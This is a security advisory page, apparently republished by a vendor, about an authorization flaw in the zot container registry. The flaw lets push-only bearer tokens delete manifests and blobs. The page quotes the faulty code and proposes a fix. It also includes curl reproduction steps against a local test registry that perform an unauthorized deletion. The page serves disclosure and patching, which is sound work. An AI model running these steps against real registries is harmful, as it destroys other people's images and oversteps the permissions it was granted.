
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 2.1.18
Patched in 2.1.18
Details
A bearer token with only pull and push scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the "push" action, and the DistSpecAuthzHandler middleware is bypassed entirely for bearer-authenticated requests. This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs within the token's repository scope, in violation of the Docker Distribution Token Authentication Specification.
The vulnerability exists in two interacting components:
1. Action Mapping Collapse (pkg/api/authn.go:571–586)
The bearer authentication handler maps HTTP methods to token scope actions using a binary check:
action := "pull"
if m := request.Method; m != http.MethodGet && m != http.MethodHead {
action = "push"
}
This collapses DELETE, PUT, PATCH, and POST into a single "push" action. The "delete" action is never assigned.
2. Authorization Bypass for Bearer Auth (pkg/api/authz.go:270–275, 318–323)
When a request is authenticated via bearer token, the DistSpecAuthzHandler middleware, which performs fine-grained action inference (distinguishing create, read, update, and delete) is bypassed entirely:
if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) {
next.ServeHTTP(response, request)
return
}
3. No Handler-Level Authorization Check
Neither DeleteManifest (routes.go:799–884) nor DeleteBlob (routes.go:1192–1241) performs an independent authorization check for delete permission before executing the deletion.
Deviation from Specification and Reference Implementation
The [Docker Distribution Token Scope Documentation](https://distribution.github.io/distribution/spec/auth/scope/) defines delete as a distinct action separate from push. The reference implementation ([distribution/distribution](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)) correctly maps DELETE requests to the "delete" action:
case http.MethodDelete:
records = append(records,
auth.Access{
Resource: resource,
Action: "delete",
})
Furthermore, zot's own native access-control configuration explicitly distinguishes delete as a separate permission from create and update, confirming the project's intent that delete is a distinct authorization action.
Suggested Fix
In pkg/api/authn.go, the action mapping should distinguish DELETE:
action := "pull"
switch {
case m == http.MethodGet || m == http.MethodHead:
action = "pull"
case m == http.MethodDelete:
action = "delete"
default:
action = "push"
}
The DistSpecAuthzHandler bypass for bearer-authenticated requests (authz.go:270–275) should also be reconsidered to ensure bearer-authenticated requests receive equivalently granular authorization checks.
Prerequisites: zot v2.1.15 with bearer authentication enabled, and a token server issuing JWTs with actions: ["pull", "push"] (no "delete").
Steps to Reproduce:
repository:poc-test:pull,push (no delete)curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/octet-stream" \
-X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
-d '{}'
# → 201 Created
v1.0 (succeeds token has push):curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
-X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
-d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
# → 201 Created
curl -H "Authorization: Bearer $TOKEN" \
-X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 202 Accepted (VULNERABLE)
curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
"http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 404 Not Found
Expected behavior: Step 5 should return 401 Unauthorized with a WWW-Authenticate header requesting scope="repository:poc-test:delete".
Actual behavior: Step 5 returns 202 Accepted and the manifest is permanently deleted.
A complete reproducer (minimal Go token server + zot config + automated script) is available upon request.
Privilege Escalation / Unauthorized Deletion Any bearer token with push scope can delete manifests and blobs, even when the token was explicitly issued without delete permissions.
This is particularly impactful in CI/CD environments where automated systems are issued least-privilege tokens with only pull and push permissions. A compromised or stolen CI token which should only be able to build and push images can be used to:
EPSS, exploit probability
Low0.81%
estimated chance of real-world exploitation in the next 30 days, higher than 56.9% of every CVE FIRST.org scores
Refreshed 11/2/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.